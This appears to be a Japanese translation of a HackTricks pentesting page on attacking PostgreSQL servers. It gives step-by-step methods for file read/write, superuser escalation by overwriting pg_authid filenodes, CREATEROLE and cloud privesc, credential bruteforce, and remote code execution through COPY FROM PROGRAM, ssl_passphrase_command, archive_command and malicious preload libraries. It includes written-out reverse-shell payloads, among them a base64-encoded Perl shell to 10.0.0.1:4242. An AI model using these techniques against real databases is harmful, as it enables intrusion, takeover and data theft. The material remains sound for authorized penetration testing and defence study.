5432,5433 - Pentesting Postgresql
Trickestを使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築し、自動化します。 今すぐアクセスを取得:
基本情報
PostgreSQLは、オープンソースのオブジェクトリレーショナルデータベースシステムとして説明されています。このシステムはSQL言語を利用するだけでなく、追加機能で強化されています。その能力により、さまざまなデータ型と操作を処理できるため、開発者や組織にとって多用途な選択肢となっています。
デフォルトポート: 5432、そしてこのポートがすでに使用されている場合、postgresqlは使用されていない次のポート(おそらく5433)を使用するようです。
接続と基本的な列挙
\list
を実行して rdsadmin
というデータベースが見つかった場合、あなたは AWS postgresql database の中にいることがわかります。
PostgreSQLデータベースを悪用する方法 についての詳細は、以下を確認してください:
PostgreSQL injection自動列挙
ポートスキャン
この研究によると、接続試行が失敗すると、dblink
はエラーの説明を含むsqlclient_unable_to_establish_sqlconnection
例外をスローします。これらの詳細の例は以下に示されています。
ホストがダウンしています
DETAIL: サーバーに接続できませんでした: ホストへのルートがありません "1.2.3.4" でサーバーは稼働しており、ポート 5678 で TCP/IP 接続を受け入れていますか?
ポートが閉じています
ポートが開いています
or
ポートはオープンまたはフィルタリングされています
In PL/pgSQL関数では、現在例外の詳細を取得することはできません。ただし、PostgreSQLサーバーに直接アクセスできる場合は、必要な情報を取得できます。システムテーブルからユーザー名とパスワードを抽出することが不可能な場合は、前のセクションで説明したワードリスト攻撃手法を利用することを検討してください。これは、ポジティブな結果をもたらす可能性があります。
権限の列挙
ロール
ロールタイプ | |
---|---|
rolsuper | ロールはスーパーユーザー権限を持っています |
rolinherit | ロールは自動的にそのメンバーであるロールの権限を継承します |
rolcreaterole | ロールは他のロールを作成できます |
rolcreatedb | ロールはデータベースを作成できます |
rolcanlogin | ロールはログインできます。つまり、このロールは初期セッション認証識別子として与えられることができます |
rolreplication | ロールはレプリケーションロールです。レプリケーションロールはレプリケーション接続を開始し、レプリケーションスロットを作成および削除できます。 |
rolconnlimit | ログインできるロールに対して、このロールが作成できる同時接続の最大数を設定します。-1は制限なしを意味します。 |
rolpassword | パスワードではありません(常に |
rolvaliduntil | パスワードの有効期限(パスワード認証にのみ使用されます);有効期限がない場合はnull |
rolbypassrls | ロールはすべての行レベルセキュリティポリシーをバイパスします。詳細についてはセクション5.8を参照してください。 |
rolconfig | 実行時構成変数のロール固有のデフォルト |
oid | ロールのID |
興味深いグループ
pg_execute_server_program
のメンバーであれば、プログラムを実行できますpg_read_server_files
のメンバーであれば、ファイルを読み取ることができますpg_write_server_files
のメンバーであれば、ファイルを書き込むことができます
Postgresでは、ユーザー、グループ、およびロールは同じであることに注意してください。これはどのように使用するかと、ログインを許可するかに依存します。
テーブル
関数
ファイルシステムアクション
ディレクトリとファイルの読み取り
この コミット から、定義された DEFAULT_ROLE_READ_SERVER_FILES
グループ(pg_read_server_files
と呼ばれる)および スーパーユーザー は、任意のパスで COPY
メソッドを使用できます(genfile.c
の convert_and_check_filename
を確認してください):
他のpostgres関数があり、ファイルを読み取ったりディレクトリをリストしたりするために使用できます。これらはスーパーユーザーと明示的な権限を持つユーザーのみが使用できます:
あなたはmore functionsをhttps://www.postgresql.org/docs/current/functions-admin.htmlで見つけることができます。
シンプルなファイル書き込み
super usersと**pg_write_server_files
**のメンバーのみが、copyを使用してファイルに書き込むことができます。
COPYは改行文字を処理できないため、base64ペイロードを使用している場合でも、1行で送信する必要があります。
この技術の非常に重要な制限は、copy
はバイナリファイルを書き込むために使用できないことです。なぜなら、いくつかのバイナリ値を変更するからです。
バイナリファイルのアップロード
ただし、大きなバイナリファイルをアップロードするための他の技術があります:
Big Binary Files Upload (PostgreSQL)バグバウンティのヒント:サインアップしてIntigritiに参加しましょう。これはハッカーによって、ハッカーのために作られたプレミアムバグバウンティプラットフォームです!今日、https://go.intigriti.com/hacktricksに参加して、最大**$100,000**の報酬を得始めましょう!
ローカルファイル書き込みによるPostgreSQLテーブルデータの更新
PostgreSQLサーバーファイルを読み書きするための必要な権限がある場合、PostgreSQLデータディレクトリ内の関連ファイルノードを上書きすることによって、サーバー上の任意のテーブルを更新できます。この技術の詳細は こちらで。
必要な手順:
PostgreSQLデータディレクトリを取得する
注意: 設定から現在のデータディレクトリパスを取得できない場合は、SELECT version()
クエリを通じて主要なPostgreSQLバージョンをクエリし、パスをブルートフォースすることを試みることができます。UnixインストールのPostgreSQLの一般的なデータディレクトリパスは/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/
です。一般的なクラスター名はmain
です。 2. 対象テーブルに関連するファイルノードへの相対パスを取得する
このクエリはbase/3/1337
のようなものを返すべきです。ディスク上のフルパスは$DATA_DIRECTORY/base/3/1337
、すなわち/var/lib/postgresql/13/main/base/3/1337
です。 3. lo_*
関数を通じてファイルノードをダウンロードする
対象テーブルに関連するデータ型を取得する
PostgreSQLファイルノードエディタを使用してファイルノードを編集する;すべての
rol*
ブールフラグを1に設定してフル権限を付与します。
6. 編集したファイルノードを
lo_*
関数を通じて再アップロードし、ディスク上の元のファイルを上書きします
(オプション) 高コストのSQLクエリを実行してメモリ内のテーブルキャッシュをクリアします
PostgreSQLで更新されたテーブル値が表示されるはずです。
pg_authid
テーブルを編集することでスーパーユーザーになることもできます。次のセクションを参照してください こちら。
RCE
プログラムへのRCE
バージョン9.3以降、スーパーユーザーおよびグループ**pg_execute_server_program
**のメンバーのみがRCEのためにcopyを使用できます(例:情報漏洩を伴う)。
例を実行する:
または、metasploitのmulti/postgres/postgres_copy_from_program_cmd_exec
モジュールを使用します。
この脆弱性に関する詳細情報はこちらをご覧ください。CVE-2019-9193として報告されましたが、Postgesはこれが機能であり、修正されないと宣言しました。
PostgreSQL言語によるRCE
RCE with PostgreSQL LanguagesPostgreSQL拡張機能によるRCE
前の投稿からバイナリファイルをアップロードする方法を学んだら、PostgreSQL拡張機能をアップロードして読み込むことでRCEを取得することを試みることができます。
RCE with PostgreSQL ExtensionsPostgreSQL設定ファイルによるRCE
以下のRCEベクターは、すべてのステップがネストされたSELECT文を通じて実行できるため、制約のあるSQLiコンテキストで特に便利です。
PostgreSQLの設定ファイルは、データベースを実行しているpostgresユーザーによって書き込み可能です。したがって、スーパーユーザーとして、ファイルシステムにファイルを書き込むことができ、このファイルを上書きすることができます。
ssl_passphrase_commandによるRCE
この技術に関する詳細情報はこちらをご覧ください。
設定ファイルには、RCEにつながるいくつかの興味深い属性があります:
ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'
データベースのプライベートキーへのパスssl_passphrase_command = ''
プライベートファイルがパスワードで保護されている場合(暗号化されている)、PostgreSQLはこの属性に示されたコマンドを実行します。ssl_passphrase_command_supports_reload = off
この属性がオンの場合、パスワードで保護されたキーが実行されるときに、コマンドがpg_reload_conf()
が実行されるときに実行されます。
そのため、攻撃者は次のことを行う必要があります:
サーバーからプライベートキーをダンプする
ダウンロードしたプライベートキーを暗号化する:
rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
上書き
現在のPostgreSQLの設定をダンプする
言及された属性設定で設定を上書きする:
ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
ssl_passphrase_command_supports_reload = on
pg_reload_conf()
を実行する
これをテストしていると、プライベートキーファイルの権限が640である場合にのみ機能することに気付きました。これはrootによって所有され、ssl-certまたはpostgresグループによって所有されている(したがって、postgresユーザーが読み取れる)必要があり、_ /var/lib/postgresql/12/main_に配置されている必要があります。
archive_commandによるRCE
この設定とWALに関する詳細情報はこちら。
設定ファイルで悪用可能な別の属性はarchive_command
です。
これが機能するためには、archive_mode
設定が'on'
または'always'
である必要があります。それが真であれば、archive_command
のコマンドを上書きし、WAL(書き込み先行ログ)操作を介して実行させることができます。
一般的な手順は次のとおりです:
アーカイブモードが有効かどうかを確認する:
SELECT current_setting('archive_mode')
ペイロードで
archive_command
を上書きする。例えば、リバースシェル:archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'
設定をリロードする:
SELECT pg_reload_conf()
WAL操作を強制的に実行し、アーカイブコマンドを呼び出す:
SELECT pg_switch_wal()
または一部のPostgresバージョン用のSELECT pg_switch_xlog()
プリロードライブラリによるRCE
この技術に関する詳細情報はこちらをご覧ください。
この攻撃ベクターは、次の設定変数を利用します:
session_preload_libraries
-- クライアント接続時にPostgreSQLサーバーによって読み込まれるライブラリ。dynamic_library_path
-- PostgreSQLサーバーがライブラリを検索するディレクトリのリスト。
dynamic_library_path
の値を、データベースを実行しているpostgres
ユーザーによって書き込み可能なディレクトリ(例:/tmp/
ディレクトリ)に設定し、そこに悪意のある.so
オブジェクトをアップロードします。次に、session_preload_libraries
変数に新しくアップロードしたライブラリを含めることで、PostgreSQLサーバーにそれを読み込ませます。
攻撃手順は次のとおりです:
元の
postgresql.conf
をダウンロードするdynamic_library_path
の値に/tmp/
ディレクトリを含める。例:dynamic_library_path = '/tmp:$libdir'
session_preload_libraries
の値に悪意のあるライブラリ名を含める。例:session_preload_libraries = 'payload.so'
SELECT version()
クエリを介して主要なPostgreSQLバージョンを確認する正しいPostgreSQL開発パッケージで悪意のあるライブラリコードをコンパイルする サンプルコード:
コードをコンパイルする:
ステップ2-3で作成した悪意のある
postgresql.conf
をアップロードし、元のものを上書きするステップ5の
payload.so
を/tmp
ディレクトリにアップロードするサーバーを再起動するか、
SELECT pg_reload_conf()
クエリを呼び出してサーバー設定をリロードする次のDB接続時に、リバースシェル接続を受け取ります。
Postgres Privesc
CREATEROLE Privesc
Grant
ドキュメントによると:CREATEROLE
権限を持つロールは、スーパーユーザーでない任意のロールのメンバーシップを付与または取り消すことができます。
したがって、CREATEROLE
権限がある場合、他のロール(スーパーユーザーでない)へのアクセスを自分に付与することができ、ファイルの読み書きやコマンドの実行のオプションを得ることができます:
パスワードの変更
このロールを持つユーザーは、他の非スーパーユーザーのパスワードを変更することもできます:
Privesc to SUPERUSER
ローカルユーザーがパスワードを提供せずにPostgreSQLにログインできることは非常に一般的です。したがって、コードを実行する権限を取得したら、これらの権限を悪用して**SUPERUSER
**ロールを付与できます:
これは通常、pg_hba.conf
ファイルの以下の行のおかげで可能です:
ALTER TABLE privesc
このレポートでは、ユーザーに付与されたALTER TABLE権限を悪用してPostgres GCPでprivescが可能だった方法が説明されています。
別のユーザーをテーブルの所有者にすることを試みると、エラーが発生してそれを防ぐはずですが、どうやらGCPはそのオプションを非スーパーユーザーのpostgresユーザーに与えたようです。
この考えを、INSERT/UPDATE/ANALYZEコマンドがインデックス関数を持つテーブルで実行されるとき、関数がテーブルの所有者の権限でコマンドの一部として呼び出されるという事実と結びつけると、関数を使ってインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権限を与え、その後悪意のある関数を使ってテーブルに対してANALYZEを実行することが可能になります。これは所有者の権限を使用してコマンドを実行できるからです。
Exploitation
新しいテーブルを作成します。
インデックス関数にデータを提供するために、テーブルにいくつかの無関係なコンテンツを挿入します。
コード実行ペイロードを含む悪意のあるインデックス関数を開発し、無許可のコマンドを実行できるようにします。
テーブルの所有者を「cloudsqladmin」にALTERします。これは、Cloud SQLがデータベースを管理および維持するために独占的に使用するGCPのスーパーユーザーロールです。
テーブルにANALYZE操作を実行します。このアクションにより、PostgreSQLエンジンはテーブルの所有者「cloudsqladmin」のユーザーコンテキストに切り替わります。その結果、悪意のあるインデックス関数が「cloudsqladmin」の権限で呼び出され、以前は無許可だったシェルコマンドの実行が可能になります。
PostgreSQLでは、このフローは次のようになります:
次に、shell_commands_results
テーブルには実行されたコードの出力が含まれます:
ローカルログイン
一部の誤設定された postgresql インスタンスでは、任意のローカルユーザーのログインが許可される場合があります。dblink
関数を使用して 127.0.0.1 からローカルにログインすることが可能です。
注意してください、前のクエリが機能するためには**dblink
関数が存在する必要があります**。存在しない場合は、次のコマンドで作成を試みることができます。
もし、より多くの権限を持つユーザーのパスワードを持っているが、そのユーザーが外部IPからのログインを許可されていない場合、次の関数を使用してそのユーザーとしてクエリを実行できます:
この関数が存在するかどうかを確認するには、次のようにします:
カスタム定義関数と SECURITY DEFINER
このレポートで、ペンテスターはIBMが提供するPostgresインスタンス内で権限昇格を行うことができました。なぜなら、彼らはSECURITY DEFINERフラグを持つこの関数を見つけたからです:
ドキュメントで説明されているように、SECURITY DEFINERを持つ関数はその所有者の権限で実行されます。したがって、関数がSQLインジェクションに対して脆弱であるか、攻撃者によって制御されるパラメータで特権的なアクションを行っている場合、それを悪用してPostgres内で権限を昇格させることができます。
前のコードの4行目で、関数がSECURITY DEFINERフラグを持っていることがわかります。
そして、コマンドを実行します:
PL/pgSQLによるパスブルートフォース
PL/pgSQLは、SQLに比べてより高度な手続き制御を提供する完全なプログラミング言語です。これにより、プログラムロジックを強化するためにループやその他の制御構造を使用できます。さらに、SQL文やトリガーは、PL/pgSQL言語を使用して作成された関数を呼び出すことができます。この統合により、データベースプログラミングと自動化に対するより包括的で多用途なアプローチが可能になります。 この言語を悪用して、PostgreSQLにユーザーの資格情報をブルートフォースさせることができます。
PL/pgSQL Password Bruteforce内部PostgreSQLテーブルの上書きによる特権昇格
以下の特権昇格ベクターは、すべてのステップがネストされたSELECT文を通じて実行できるため、制約のあるSQLiコンテキストで特に有用です。
PostgreSQLサーバーファイルを読み書きできる場合、内部のpg_authid
テーブルに関連付けられたPostgreSQLのディスク上のファイルノードを上書きすることで、スーパーユーザーになることができます。
この技術についての詳細はこちらを参照してください。
攻撃手順は次のとおりです:
PostgreSQLデータディレクトリを取得する
pg_authid
テーブルに関連付けられたファイルノードへの相対パスを取得するlo_*
関数を通じてファイルノードをダウンロードするpg_authid
テーブルに関連付けられたデータ型を取得するPostgreSQLファイルノードエディタを使用してファイルノードを編集し、すべての
rol*
ブールフラグを1に設定して完全な権限を付与します。編集したファイルノードを
lo_*
関数を介して再アップロードし、ディスク上の元のファイルを上書きします(オプション) 高コストのSQLクエリを実行してメモリ内のテーブルキャッシュをクリアします
これで、フルスーパーマネージャーの権限を持つことになります。
POST
logging
postgresql.conf ファイル内で、次のように変更することで postgresql ログを有効にできます:
その後、サービスを再起動します。
pgadmin
pgadmin はPostgreSQLの管理および開発プラットフォームです。 pgadmin4.db ファイル内にパスワードが見つかります。 スクリプト内の decrypt 関数を使用してそれらを復号化できます: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py
pg_hba
PostgreSQLにおけるクライアント認証は、pg_hba.confという設定ファイルを通じて管理されます。このファイルには、一連のレコードが含まれており、それぞれが接続タイプ、クライアントIPアドレス範囲(該当する場合)、データベース名、ユーザー名、および接続を一致させるために使用する認証方法を指定しています。接続タイプ、クライアントアドレス、要求されたデータベース、およびユーザー名に一致する最初のレコードが認証に使用されます。認証が失敗した場合のフォールバックやバックアップはありません。一致するレコードがない場合、アクセスは拒否されます。
pg_hba.confで利用可能なパスワードベースの認証方法は、md5、crypt、およびpasswordです。これらの方法は、パスワードがどのように送信されるかにおいて異なります:MD5ハッシュ化、crypt暗号化、または平文です。cryptメソッドは、pg_authidで暗号化されたパスワードと一緒に使用できないことに注意することが重要です。
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:
Last updated